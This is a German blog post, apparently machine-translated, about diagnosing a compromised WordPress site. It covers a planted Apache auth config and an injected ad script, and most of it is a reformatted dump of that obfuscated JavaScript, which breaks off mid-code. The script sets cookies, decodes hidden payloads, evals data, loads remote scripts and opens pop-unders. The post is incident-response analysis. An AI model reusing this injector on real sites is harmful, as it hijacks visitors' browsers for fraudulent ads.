Wie Angreifer die Seite als Werbeplattform nutzten und wie ich damit kämpfte

    Hallo habr

    Kürzlich bin ich mit meinem Kollegen auf eine Situation gestoßen, in der ich eine WordPress-Site gehackt habe. Es erschien eine Werbung, die nervig in der Ecke auftauchte und tatsächlich die vollwertige Arbeit störte. Es war auch nicht möglich, auf das WordPress-Admin-Panel zuzugreifen, es gab eine HTTP-Autorisierung. Zunächst wurde beschlossen, diese HTTP-Berechtigung zu entfernen und Zugriff auf das Admin-Panel zu erhalten. Wenn Sie daran interessiert sind, wie der Reengineering-Prozess abgelaufen ist, bitte ich um eine Katze.

    Es wurden zwei Optionen vorgeschlagen: Entweder wird in wp-login.php ein bösartiges Skript ausgeführt, das den Header ausführte ('WWW-Authenticate'), oder die linke .htaccess-Datei wurde irgendwo angezeigt. Ich habe die zweite Option für später verschoben, weil es würde bedeuten, VDS zu hacken. Daher begann ich nach diesem schädlichen Header zu suchen. Nachdem ich mich über ssh am Server angemeldet hatte, suchte ich nach allen möglichen Übereinstimmungen in der Projektstruktur mit der Anfrage "Header ('WWW').

    grep -rwl header('WWW /var/www/mysite.com.ua
    

    Das Ergebnis ließ nicht lange auf sich warten und es wurden nur Übereinstimmungen gefunden. Ich öffnete sofort die Datei wp-app.php, um diesen Header zu analysieren. Es ist möglich, dass er angerufen wird, indem der Zugang zum Admin-Panel gesperrt wird. Dies stellte sich jedoch als falsche Annahme heraus, der Code war in Ordnung und stimmte vollständig mit dem Code aus reinem WordPress überein.

    Die zweite Option bleibt .htaccess. Und das erste, wonach ich gesucht habe, war AuthType. Aber wo kann er sein? Lasse mein Lieblings-Grep wieder laufen:
    grep -rwl AuthType /var/www/mysite.com.ua
    

    Das Ergebnis ergab nichts. Absolut. Aber irgendwo verbindet er. Dann schlug ich vor, die schlechteste Option ist conf.d in den Apache-Einstellungen.
    Wir führen aus:
    grep -rwl AuthType /etc/apache2/
    

    Und hier ist es - die Datei wp-login.conf. In welchen Regeln wurde die HTTP-Autorisierung des Admin-Panels festgelegt. Wir löschen diese Datei, starten Apache neu und erhalten Zugriff auf das Admin-Panel. Die Passwörter wurden nicht geändert, so dass es keine Probleme mit dem Zugang zum Admin-Panel gab.

    Ein Problem wurde behoben. Es gibt jedoch weiterhin ein Problem beim Verbinden des Skripts mit dem Dokumentkörper. Es wird direkt nach der ursprünglichen Fußzeile eine strikte Verbindung zur Dokumentenfußzeile hergestellt. Daher ist es sinnvoll, nach einem Befehl zu suchen, der diesem oder demselben ähnlich ist:
    echo "Evil Script";
    

    Die Suche ergab nichts. Es wurde beschlossen, Verzeichnisse rekursiv zwischen der aktuellen Version der Site und ihrer Sicherung zu vergleichen, indem ein so hervorragendes Dienstprogramm wie Meld verwendet wurde. Aber hier waren wir enttäuscht - der Diff war sauber und es gab keinen Hinweis auf Ausführung oder Inline-Skripte. Aber das Skript ist verbunden. Wo und wie dann?

    Ich fing an, das Drehbuch zu analysieren, das überhaupt eine Verbindung herstellt. Ich habe PhpStorm geöffnet und eine neue JS-Datei erstellt. Ich habe den Hauptteil des Skripts darin kopiert und den Reformat Code ausgeführt. Das Ergebnis unter dem Spoiler:
    Evil Script (viele Zeilen)
    var s = void 0, y = !0, z = null, T = !1;
    (function (r, k, xb) {
        function bb(a) {
            return/[\\\"<>\.;]/.exec(a) != z && typeof encodeURIComponent != t ? encodeURIComponent(a) : a
        }
        function U(a, b) {
            if (cb) {
                var c = b ? "visible" : "hidden";
                V && J(a) ? J(a).style.visibility = c : db("#" + a, "visibility:" + c)
            }
        }
        function db(a, b, c, d) {
            if (!n.c || !n.R) {
                var e = u.getElementsByTagName("head")[0];
                if (e) {
                    c = c && "string" == typeof c ? c : "screen";
                    d && (Da = L = z);
                    if (!L || Da != c)d = u.createElement("style"), d.setAttribute("type", "text/css"), d.setAttribute("media", c), L = e.appendChild(d), n.c && (n.e && typeof u.styleSheets !=
                        t && 0 < u.styleSheets.length) && (L = u.styleSheets[u.styleSheets.length - 1]), Da = c;
                    n.c && n.e ? L && typeof L.addRule == M && L.addRule(a, b) : L && typeof u.createTextNode != t && L.appendChild(u.createTextNode(a + " {" + b + "}"))
                }
            }
        }
        function la(a) {
            var b = n.n;
            a = a.split(".");
            a[0] = parseInt(a[0], 10);
            a[1] = parseInt(a[1], 10) || 0;
            a[2] = parseInt(a[2], 10) || 0;
            return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? y : T
        }
        function J(a) {
            var b = z;
            try {
                b = u.getElementById(a)
            } catch (c) {
            }
            return b
        }
        function eb(a) {
            var b = J(a);
            b && "OBJECT" ==
                b.nodeName && (n.c && n.e ? (b.style.display = "none", function () {
                if (4 == b.readyState) {
                    var c = J(a);
                    if (c) {
                        for (var d in c)"function" == typeof c[d] && (c[d] = z);
                        c.parentNode.removeChild(c)
                    }
                } else setTimeout(arguments.callee, 10)
            }()) : b.parentNode.removeChild(b))
        }
        function Ea(a, b, c) {
            var d, e = J(c);
            if (n.i && 312 > n.i)return d;
            if (e)if (typeof a.id == t && (a.id = c), n.c && n.e) {
                var f = "", p;
                for (p in a)a[p] != Object.prototype[p] && ("data" == p.toLowerCase() ? b.movie = a[p] : "styleclass" == p.toLowerCase() ? f += ' class\x3d"' + a[p] + '"' : "classid" != p.toLowerCase() &&
                    (f += " " + p + '\x3d"' + a[p] + '"'));
                p = "";
                for (var h in b)b[h] != Object.prototype[h] && (p += '\x3cparam name\x3d"' + h + '" value\x3d"' + b[h] + '" /\x3e');
                e.outerHTML = '\x3cobject classid\x3d"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"' + f + "\x3e" + p + "\x3c/object\x3e";
                ma[ma.length] = a.id;
                d = J(a.id)
            } else {
                h = u.createElement(M);
                h.setAttribute("type", na);
                for (var j in a)a[j] != Object.prototype[j] && ("styleclass" == j.toLowerCase() ? h.setAttribute("class", a[j]) : "classid" != j.toLowerCase() && h.setAttribute(j, a[j]));
                for (f in b)b[f] != Object.prototype[f] &&
                    "movie" != f.toLowerCase() && (a = h, p = f, j = b[f], c = u.createElement("param"), c.setAttribute("name", p), c.setAttribute("value", j), a.appendChild(c));
                e.parentNode.replaceChild(h, e);
                d = h
            }
            return d
        }
        function Fa(a) {
            var b = u.createElement("div");
            if (n.e && n.c)b.innerHTML = a.innerHTML; else if (a = a.getElementsByTagName(M)[0])if (a = a.childNodes)for (var c = a.length, d = 0; d < c; d++)!(1 == a[d].nodeType && "PARAM" == a[d].nodeName) && 8 != a[d].nodeType && b.appendChild(a[d].cloneNode(y));
            return b
        }
        function yb(a) {
            if (n.c && n.e && 4 != a.readyState) {
                var b =
                    u.createElement("div");
                a.parentNode.insertBefore(b, a);
                b.parentNode.replaceChild(Fa(a), b);
                a.style.display = "none";
                (function () {
                    4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)
                })()
            } else a.parentNode.replaceChild(Fa(a), a)
        }
        function Ga(a, b, c, d) {
            oa = y;
            Ha = d || z;
            fb = {success: T, id: c};
            var e = J(c);
            if (e) {
                "OBJECT" == e.nodeName ? (ea = Fa(e), pa = z) : (ea = e, pa = c);
                a.id = gb;
                if (typeof a.width == t || !/%$/.test(a.width) && 310 > parseInt(a.width, 10))a.width = "310";
                if (typeof a.height == t || !/%$/.test(a.height) && 137 >
                    parseInt(a.height, 10))a.height = "137";
                u.title = u.title.slice(0, 47) + " - Flash Player Installation";
                d = n.c && n.e ? "ActiveX" : "PlugIn";
                d = "MMredirectURL\x3d" + G.location.toString().replace(/&/g, "%26") + "\x26MMplayerType\x3d" + d + "\x26MMdoctitle\x3d" + u.title;
                b.s = typeof b.s != t ? b.s + ("\x26" + d) : d;
                n.c && (n.e && 4 != e.readyState) && (d = u.createElement("div"), c += "SWFObjectNew", d.setAttribute("id", c), e.parentNode.insertBefore(d, e), e.style.display = "none", function () {
                    4 == e.readyState ? e.parentNode.removeChild(e) : setTimeout(arguments.callee,
                        10)
                }());
                Ea(a, b, c)
            }
        }
        function Ia() {
            return!oa && la("6.0.65") && (n.e || n.R) && !(n.i && 312 > n.i)
        }
        function Ja(a) {
            var b = z;
            if ((a = J(a)) && "OBJECT" == a.nodeName)typeof a.SetVariable != t ? b = a : (a = a.getElementsByTagName(M)[0]) && (b = a);
            return b
        }
        function Ka() {
            var a = P.length;
            if (0 < a)for (var b = 0; b < a; b++) {
                var c = P[b].id, d = P[b].fa, e = {success: T, id: c};
                if (0 < n.n[0]) {
                    var f = J(c);
                    if (f)if (la(P[b].qa) && !(n.i && 312 > n.i))U(c, y), d && (e.success = y, e.S = Ja(c), d(e)); else if (P[b].O && Ia()) {
                        e = {};
                        e.data = P[b].O;
                        e.width = f.getAttribute("width") || "0";
                        e.height =
                            f.getAttribute("height") || "0";
                        f.getAttribute("class") && (e.jb = f.getAttribute("class"));
                        f.getAttribute("align") && (e.align = f.getAttribute("align"));
                        for (var p = {}, f = f.getElementsByTagName("param"), h = f.length, j = 0; j < h; j++)"movie" != f[j].getAttribute("name").toLowerCase() && (p[f[j].getAttribute("name")] = f[j].getAttribute("value"));
                        Ga(e, p, c, d)
                    } else yb(f), d && d(e)
                } else if (U(c, y), d) {
                    if ((c = Ja(c)) && typeof c.SetVariable != t)e.success = y, e.S = c;
                    d(e)
                }
            }
        }
        function hb(a) {
            if (typeof G.addEventListener != t)G.addEventListener("load",
                a, T); else if (typeof u.addEventListener != t)u.addEventListener("load", a, T); else if (typeof G.attachEvent != t) {
                var b = G;
                b.attachEvent("onload", a);
                Y[Y.length] = [b, "onload", a]
            } else if ("function" == typeof G.onload) {
                var c = G.onload;
                G.onload = function () {
                    c();
                    a()
                }
            } else G.onload = a
        }
        function ib(a) {
            V ? a() : qa[qa.length] = a
        }
        function Z() {
            if (!V) {
                try {
                    var a = u.getElementsByTagName("body")[0].appendChild(u.createElement("span"));
                    a.parentNode.removeChild(a)
                } catch (b) {
                    return
                }
                V = y;
                for (var a = qa.length, c = 0; c < a; c++)qa[c]()
            }
        }
        function jb(a) {
            return/[\\\"<>\.;]/.exec(a) !=
                z && typeof encodeURIComponent != v ? encodeURIComponent(a) : a
        }
        function W(a, b) {
            if (kb) {
                var c = b ? "visible" : "hidden";
                X && K(a) ? K(a).style.visibility = c : lb("#" + a, "visibility:" + c)
            }
        }
        function lb(a, b, c, d) {
            if (!m.c || !m.R) {
                var e = l.getElementsByTagName("head")[0];
                if (e) {
                    c = c && "string" == typeof c ? c : "screen";
                    d && (La = N = z);
                    if (!N || La != c)d = l.createElement("style"), d.setAttribute("type", "text/css"), d.setAttribute("media", c), N = e.appendChild(d), m.c && (m.e && typeof l.styleSheets != v && 0 < l.styleSheets.length) && (N = l.styleSheets[l.styleSheets.length -
                        1]), La = c;
                    m.c && m.e ? N && typeof N.addRule == O && N.addRule(a, b) : N && typeof l.createTextNode != v && N.appendChild(l.createTextNode(a + " {" + b + "}"))
                }
            }
        }
        function ra(a) {
            var b = m.n;
            a = a.split(".");
            a[0] = parseInt(a[0], 10);
            a[1] = parseInt(a[1], 10) || 0;
            a[2] = parseInt(a[2], 10) || 0;
            return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? y : T
        }
        function K(a) {
            var b = z;
            try {
                b = l.getElementById(a)
            } catch (c) {
            }
            return b
        }
        function mb(a) {
            var b = K(a);
            b && "OBJECT" == b.nodeName && (m.c && m.e ? (b.style.display = "none", function () {
                if (4 == b.readyState) {
                    var c =
                        K(a);
                    if (c) {
                        for (var d in c)"function" == typeof c[d] && (c[d] = z);
                        c.parentNode.removeChild(c)
                    }
                } else setTimeout(arguments.callee, 10)
            }()) : b.parentNode.removeChild(b))
        }
        function Ma(a, b, c) {
            var d, e = K(c);
            if (m.i && 312 > m.i)return d;
            if (e)if (typeof a.id == v && (a.id = c), m.c && m.e) {
                var f = "", p;
                for (p in a)a[p] != Object.prototype[p] && ("data" == p.toLowerCase() ? b.movie = a[p] : "styleclass" == p.toLowerCase() ? f += ' class\x3d"' + a[p] + '"' : "classid" != p.toLowerCase() && (f += " " + p + '\x3d"' + a[p] + '"'));
                p = "";
                for (var h in b)b[h] != Object.prototype[h] &&
                (p += '\x3cparam name\x3d"' + h + '" value\x3d"' + b[h] + '" /\x3e');
                e.outerHTML = '\x3cobject classid\x3d"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"' + f + "\x3e" + p + "\x3c/object\x3e";
                sa[sa.length] = a.id;
                d = K(a.id)
            } else {
                h = l.createElement(O);
                h.setAttribute("type", ta);
                for (var j in a)a[j] != Object.prototype[j] && ("styleclass" == j.toLowerCase() ? h.setAttribute("class", a[j]) : "classid" != j.toLowerCase() && h.setAttribute(j, a[j]));
                for (f in b)b[f] != Object.prototype[f] && "movie" != f.toLowerCase() && (a = h, p = f, j = b[f], c = l.createElement("param"),
                    c.setAttribute("name", p), c.setAttribute("value", j), a.appendChild(c));
                e.parentNode.replaceChild(h, e);
                d = h
            }
            return d
        }
        function Na(a) {
            var b = l.createElement("div");
            if (m.e && m.c)b.innerHTML = a.innerHTML; else if (a = a.getElementsByTagName(O)[0])if (a = a.childNodes)for (var c = a.length, d = 0; d < c; d++)!(1 == a[d].nodeType && "PARAM" == a[d].nodeName) && 8 != a[d].nodeType && b.appendChild(a[d].cloneNode(y));
            return b
        }
        function zb(a) {
            if (m.c && m.e && 4 != a.readyState) {
                var b = l.createElement("div");
                a.parentNode.insertBefore(b, a);
                b.parentNode.replaceChild(Na(a),
                    b);
                a.style.display = "none";
                (function () {
                    4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)
                })()
            } else a.parentNode.replaceChild(Na(a), a)
        }
        function Oa(a, b, c, d) {
            ua = y;
            Pa = d || z;
            nb = {success: T, id: c};
            var e = K(c);
            if (e) {
                "OBJECT" == e.nodeName ? (fa = Na(e), va = z) : (fa = e, va = c);
                a.id = ob;
                if (typeof a.width == v || !/%$/.test(a.width) && 310 > parseInt(a.width, 10))a.width = "310";
                if (typeof a.height == v || !/%$/.test(a.height) && 137 > parseInt(a.height, 10))a.height = "137";
                l.title = l.title.slice(0, 47) + " - Flash Player Installation";
                d = m.c && m.e ? "ActiveX" : "PlugIn";
                d = "MMredirectURL\x3d" + H.location.toString().replace(/&/g, "%26") + "\x26MMplayerType\x3d" + d + "\x26MMdoctitle\x3d" + l.title;
                b.s = typeof b.s != v ? b.s + ("\x26" + d) : d;
                m.c && (m.e && 4 != e.readyState) && (d = l.createElement("div"), c += "SWFObjectNew", d.setAttribute("id", c), e.parentNode.insertBefore(d, e), e.style.display = "none", function () {
                    4 == e.readyState ? e.parentNode.removeChild(e) : setTimeout(arguments.callee, 10)
                }());
                Ma(a, b, c)
            }
        }
        function Qa() {
            return!ua && ra("6.0.65") && (m.e || m.R) && !(m.i && 312 > m.i)
        }
        function Ra(a) {
            var b = z;
            if ((a = K(a)) && "OBJECT" == a.nodeName)typeof a.SetVariable != v ? b = a : (a = a.getElementsByTagName(O)[0]) && (b = a);
            return b
        }
        function Sa() {
            var a = Q.length;
            if (0 < a)for (var b = 0; b < a; b++) {
                var c = Q[b].id, d = Q[b].fa, e = {success: T, id: c};
                if (0 < m.n[0]) {
                    var f = K(c);
                    if (f)if (ra(Q[b].qa) && !(m.i && 312 > m.i))W(c, y), d && (e.success = y, e.S = Ra(c), d(e)); else if (Q[b].O && Qa()) {
                        e = {};
                        e.data = Q[b].O;
                        e.width = f.getAttribute("width") || "0";
                        e.height = f.getAttribute("height") || "0";
                        f.getAttribute("class") && (e.jb = f.getAttribute("class"));
                        f.getAttribute("align") && (e.align = f.getAttribute("align"));
                        for (var p = {}, f = f.getElementsByTagName("param"), h = f.length, j = 0; j < h; j++)"movie" != f[j].getAttribute("name").toLowerCase() && (p[f[j].getAttribute("name")] = f[j].getAttribute("value"));
                        Oa(e, p, c, d)
                    } else zb(f), d && d(e)
                } else if (W(c, y), d) {
                    if ((c = Ra(c)) && typeof c.SetVariable != v)e.success = y, e.S = c;
                    d(e)
                }
            }
        }
        function pb(a) {
            if (typeof H.addEventListener != v)H.addEventListener("load", a, T); else if (typeof l.addEventListener != v)l.addEventListener("load", a, T); else if (typeof H.attachEvent !=
                v) {
                var b = H;
                b.attachEvent("onload", a);
                aa[aa.length] = [b, "onload", a]
            } else if ("function" == typeof H.onload) {
                var c = H.onload;
                H.onload = function () {
                    c();
                    a()
                }
            } else H.onload = a
        }
        function qb(a) {
            X ? a() : wa[wa.length] = a
        }
        function ba() {
            if (!X) {
                try {
                    var a = l.getElementsByTagName("body")[0].appendChild(l.createElement("span"));
                    a.parentNode.removeChild(a)
                } catch (b) {
                    return
                }
                X = y;
                for (var a = wa.length, c = 0; c < a; c++)wa[c]()
            }
        }
        function E(a, b) {
            function c() {
            }
            c.prototype = b.prototype;
            a.prototype = new c;
            a.prototype.constructor = a;
            a.nb = b.prototype;
            b.prototype.constructor == Object.prototype.constructor && (b.prototype.constructor = b)
        }
        function rb(a) {
            this.a = g.parseJSON(g.L(a));
            r.globalInfo = {};
            g.log(this.a);
            if (this.a.ukDomain && this.a.ukUri && !r.udata && !this.a.dontGoToUK) {
                var b = this, c = setTimeout(function () {
                    b.oa()
                }, 5E3);
                g.da(this.a.ukDomain, this.a.ukUri, function (a) {
                    clearTimeout(c);
                    g.parseJSON(g.L(a));
                    r.globalInfo.udata = a;
                    b.oa()
                }, "jsf")
            } else this.a.foreignUid || this.Ba(this.a.matchingUrl), this.oa()
        }
        function sb() {
        }
        function I() {
        }
        function xa() {
        }
        function Ta() {
        }
        function Ua() {
        }
        function Va() {
        }
        function ca() {
        }
        function Wa() {
        }
        function ya() {
        }
        function Xa() {
        }
        function Ya() {
        }
        function da() {
        }
        function ga() {
        }
        function Za() {
        }
        var v = "undefined", O = "object", ta = "application/x-shockwave-flash", ob = "SWFObjectExprInst", H = r, l = k, R = navigator, tb = T, wa = [function () {
            if (tb) {
                var a = l.getElementsByTagName("body")[0], b = l.createElement(O);
                b.setAttribute("type", ta);
                var c = a.appendChild(b);
                if (c) {
                    var d = 0;
                    (function () {
                        if (typeof c.GetVariable != v) {
                            var e = c.GetVariable("$version");
                            e && (e = e.split(" ")[1].split(","),
                                m.n = [parseInt(e[0], 10), parseInt(e[1], 10), parseInt(e[2], 10)])
                        } else if (10 > d) {
                            d++;
                            setTimeout(arguments.callee, 10);
                            return
                        }
                        a.removeChild(b);
                        c = z;
                        Sa()
                    })()
                } else Sa()
            } else Sa()
        }], Q = [], sa = [], aa = [], fa, va, Pa, nb, X = T, ua = T, N, La, kb = y, m, Ab = typeof l.getElementById != v && typeof l.getElementsByTagName != v && typeof l.createElement != v, za = R.userAgent.toLowerCase(), Aa = R.platform.toLowerCase(), Bb = Aa ? /win/.test(Aa) : /win/.test(za), Cb = Aa ? /mac/.test(Aa) : /mac/.test(za), Db = /webkit/.test(za) ? parseFloat(za.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,
            "$1")) : T, $a = !+"\v1", ha = [0, 0, 0], C = z;
        if (typeof R.plugins != v && typeof R.plugins["Shockwave Flash"] == O) {
            if ((C = R.plugins["Shockwave Flash"].description) && !(typeof R.mimeTypes != v && R.mimeTypes[ta] && !R.mimeTypes[ta].enabledPlugin))tb = y, $a = T, C = C.replace(/^.*\s+(\S+\s+\S+$)/, "$1"), ha[0] = parseInt(C.replace(/^(.*)\..*$/, "$1"), 10), ha[1] = parseInt(C.replace(/^.*\.(.*)\s.*$/, "$1"), 10), ha[2] = /[a-zA-Z]/.test(C) ? parseInt(C.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0
        } else if (typeof H.ActiveXObject != v)try {
            var ub = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
            if (ub && (C = ub.GetVariable("$version")))$a = y, C = C.split(" ")[1].split(","), ha = [parseInt(C[0], 10), parseInt(C[1], 10), parseInt(C[2], 10)]
        } catch (Ub) {
        }
        m = {j: Ab, n: ha, i: Db, c: $a, e: Bb, R: Cb};
        m.j && ((typeof l.readyState != v && "complete" == l.readyState || typeof l.readyState == v && (l.getElementsByTagName("body")[0] || l.body)) && ba(), X || (typeof l.addEventListener != v && l.addEventListener("DOMContentLoaded", ba, T), m.c && m.e && (l.attachEvent("onreadystatechange", function () {
            "complete" == l.readyState && (l.detachEvent("onreadystatechange",
                arguments.callee), ba())
        }), H == top && function () {
            if (!X) {
                try {
                    l.La.doScroll("left")
                } catch (a) {
                    setTimeout(arguments.callee, 0);
                    return
                }
                ba()
            }
        }()), m.i && function () {
            X || (/loaded|complete/.test(l.readyState) ? ba() : setTimeout(arguments.callee, 0))
        }(), pb(ba)));
        m.c && m.e && r.attachEvent("onunload", function () {
            for (var a = aa.length, b = 0; b < a; b++)aa[b][0].detachEvent(aa[b][1], aa[b][2]);
            a = sa.length;
            for (b = 0; b < a; b++)mb(sa[b]);
            for (var c in m)m[c] = z;
            m = z;
            for (var d in g.w)g.w[d] = z;
            g.w = z
        });
        sb.prototype = {Y: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_",
            U: "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;", Q: function () {
                return!r.addEventListener && !r.XMLHttpRequest && r.attachEvent
            }, v: function () {
                if ("BackCompat" == k.compatMode && 10 > g.Xa())return T;
                var a = k.createElement("div");
                a.style.cssText = "position:fixed";
                return a.style.position.match("fixed") ? y : T
            }, Ya: function (a) {
                a.matchUrl && (this.X(a.matchUrl).style.cssText = this.U)
            }, ga: function (a) {
                if (0 == a.limit && 0 == a.period)return y;
                if (this.la(a.periodName) == z) {
                    var b = parseInt(this.la(a.limitName));
                    if (0 == a.limit || isNaN(b) || b < a.limit)return y
                }
                return T
            }, Xa: function () {
                var a = 999;
                -1 != navigator.appVersion.indexOf("MSIE") && (a = parseFloat(navigator.appVersion.split("MSIE")[1]));
                return a
            }, Ea: function (a) {
                var b = new Date, c = parseInt(this.la(a.limitName), 10), c = isNaN(c) ? 1 : c + 1;
                b.setTime(b.getTime() + 6E4 * parseInt(a.period, 10));
                this.ra(a.periodName, 1, b, "/");
                b.setTime(b.getTime() + 432E5);
                this.ra(a.limitName, c, b, "/")
            }, ra: function (a, b) {
                var c = arguments, d = c.length, e = 2 < d ? c[2] : z, f = 3 < d ? c[3] : z, p = 4 < d ? c[4] : z;
                k.cookie = a + "\x3d" +
                    encodeURIComponent(b) + (e == z ? "" : "; expires\x3d" + e.toGMTString()) + (f == z ? "" : "; path\x3d" + f) + (p == z ? "" : "; domain\x3d" + p) + ((5 < d ? c[5] : T) == y ? "; secure" : "")
            }, pa: function () {
                var a, b = k.createElement("div"), c = ["Khtml", "Ms", "O", "Moz", "Webkit"], d = c.length;
                a = function (a) {
                    if (a in b.style)return y;
                    for (a = a.replace(/^[a-z]/, function (a) {
                        return a.toUpperCase()
                    }); d--;)if (c[d] + a in b.style)return y;
                    return T
                };
                return a("boxShadow") && a("borderRadius")
            }, log: function () {
            }, la: function (a) {
                var b = " " + k.cookie;
                a = " " + a + "\x3d";
                var c =
                    z, d = 0, e = 0;
                0 < b.length && (d = b.indexOf(a), -1 != d && (d += a.length, e = -1 == b.indexOf(";", d) ? b.length : b.indexOf(";", d), c = decodeURIComponent(b.substring(d, e))));
                return c
            }, Na: function (a, b) {
                var c = "", d = "", e, f, p, h, j, g = 0;
                b &= 255;
                a = this.mb(a);
                for (f = 0; f < a.length; d += String.fromCharCode(b ^ a.charCodeAt(f)), f++);
                for (a = d; g < a.length;)e = a.charCodeAt(g++), d = a.charCodeAt(g++), f = a.charCodeAt(g++), p = e >> 2, e = (e & 3) << 4 | d >> 4, h = (d & 15) << 2 | f >> 6, j = f & 63, isNaN(d) ? h = j = 64 : isNaN(f) && (j = 64), c = c + this.Y.charAt(p) + this.Y.charAt(e) + this.Y.charAt(h) +
                    this.Y.charAt(j);
                return c
            }, L: function (a, b) {
                a = a.replace(/[\-]/g, "+").replace(/[_]/g, "/");
                for (var c = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 0, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1], d, e, f = 0, g = [], h = 0, j = 0, f = 0; f < a.length; f++)e =
                    a.charCodeAt(f), d = c[e & 127], -1 === d ? this.log("Illegal characters (code\x3d" + e + ") in position " + f) : (j = j << 6 | d, h += 6, 8 <= h && (h -= 8, "\x3d" !== a.charAt(f) && g.push(j >> h & 255), j &= (1 << h) - 1));
                if (b) {
                    c = [];
                    b &= 255;
                    for (d = 0; d < g.length; c.push(b ^ g[d]), d++);
                    g = c
                }
                return this.lb(g)
            }, lb: function (a) {
                for (var b = [], c = 0, d = a.length, e, f, g; c < d;)e = a[c], f = a[c + 1], g = a[c + 2], 128 > e ? (b.push(String.fromCharCode(e)), c += 1) : 191 < e && 224 > e ? (b.push(String.fromCharCode((e & 31) << 6 | f & 63)), c += 2) : (b.push(String.fromCharCode((e & 15) << 12 | (f & 63) << 6 | g & 63)), c +=
                    3);
                return b.join("")
            }, mb: function (a) {
                a = a.replace(/\r\n/g, "\n");
                for (var b = "", c = 0; c < a.length; c++) {
                    var d = a.charCodeAt(c);
                    128 > d ? b += String.fromCharCode(d) : (127 < d && 2048 > d ? b += String.fromCharCode(d >> 6 | 192) : (b += String.fromCharCode(d >> 12 | 224), b += String.fromCharCode(d >> 6 & 63 | 128)), b += String.fromCharCode(d & 63 | 128))
                }
                return b
            }, ma: function (a, b, c, d) {
                var e = navigator.userAgent.toLowerCase();
                -1 != e.indexOf("safari") && -1 == e.indexOf("chrome") && (d = d || "width\x3d" + r.screen.width + ",height\x3d" + r.screen.height + ",left\x3d0,top\x3d0,menubar\x3dno,location\x3dno,resizable\x3dyes,scrollbars\x3dyes,status\x3dno");
                a = r.open(a, c || "", d);
                b || (a.blur(), r.focus())
            }, g: function (a) {
                var b = +new Date % 1E6;
                return"/?" + b + "\x3d" + this.Na(a.replace("/?", ""), b)
            }, w: {eb: function (a, b, c, d) {
                if (m.j && a && b) {
                    var e = {};
                    e.id = a;
                    e.qa = b;
                    e.O = c;
                    e.fa = d;
                    Q[Q.length] = e;
                    W(a, T)
                } else d && d({success: T, id: a})
            }, Sa: function (a) {
                if (m.j)return Ra(a)
            }, N: function (a, b, c, d, e, f, g, h, j, k) {
                var A = {success: T, id: b};
                m.j && !(m.i && 312 > m.i) && a && b && c && d && e ? (W(b, T), qb(function () {
                    c += "";
                    d += "";
                    var q = {};
                    if (j && typeof j === O)for (var B in j)q[B] = j[B];
                    q.data = a;
                    q.width = c;
                    q.height = d;
                    B = {};
                    if (h && typeof h === O)for (var r in h)B[r] = h[r];
                    if (g && typeof g === O)for (var F in g)B.s = typeof B.s != v ? B.s + ("\x26" + F + "\x3d" + g[F]) : F + "\x3d" + g[F];
                    if (ra(e))r = Ma(q, B, b), q.id == b && W(b, y), A.success = y, A.S = r; else {
                        if (f && Qa()) {
                            q.data = f;
                            Oa(q, B, b, k);
                            return
                        }
                        W(b, y)
                    }
                    k && k(A)
                })) : k && k(A)
            }, kb: function () {
                kb = T
            }, W: m, Ra: function () {
                return{$a: m.n[0], bb: m.n[1], fb: m.n[2]}
            }, va: ra, Ka: function (a, b, c) {
                if (m.j)return Ma(a, b, c)
            }, hb: function (a, b, c, d) {
                m.j && Qa() && Oa(a, b, c, d)
            }, gb: function (a) {
                m.j && mb(a)
            }, Ja: function (a, b, c, d) {
                m.j && lb(a, b, c, d)
            },
                Fa: qb, Ha: pb, Ta: function (a) {
                    var b = l.location.search || l.location.hash;
                    if (b) {
                        /\?/.test(b) && (b = b.split("?")[1]);
                        if (a == z)return jb(b);
                        for (var b = b.split("\x26"), c = 0; c < b.length; c++)if (b[c].substring(0, b[c].indexOf("\x3d")) == a)return jb(b[c].substring(b[c].indexOf("\x3d") + 1))
                    }
                    return""
                }, Pa: function () {
                    if (ua) {
                        var a = K(ob);
                        a && fa && (a.parentNode.replaceChild(fa, a), va && (W(va, y), m.c && m.e && (fa.style.display = "block")), Pa && Pa(nb));
                        ua = T
                    }
                }}, parseJSON: function (a) {
                return eval("(" + a + ")")
            }, da: function (a, b, c, d) {
                d = d || "jclb";
                if (c) {
                    var e = "jsonp" + String(Math.random()).slice(4);
                    b += "\x26" + d + "\x3dwindow." + e;
                    r[e] = function (a) {
                        scriptOk = y;
                        r[e] = s;
                        try {
                            delete r[e]
                        } catch (b) {
                        }
                        g.log("Callback called");
                        c(a)
                    }
                }
                b = this.g(b);
                d = this.z("script");
                d.src = a + b;
                return d
            }, X: function (a, b) {
                var c = this.z("img", b);
                c.src = a;
                return c
            }, Ga: function (a, b) {
                var c = this.z("iframe", b);
                c.src = a;
                return c
            }, z: function (a, b) {
                var c = k.createElement(a);
                b ? b.appendChild(c) : k.body.appendChild(c);
                return c
            }, Va: function () {
                var a = 0, b = 0;
                r.screen ? (b = r.screen.width, a = r.screen.height) :
                    r.Za && (a = r.Za.awt.Toolkit.getDefaultToolkit().getScreenSize(), b = a.width, a = a.height);
                return"\x26width\x3d" + b + "\x26height\x3d" + a
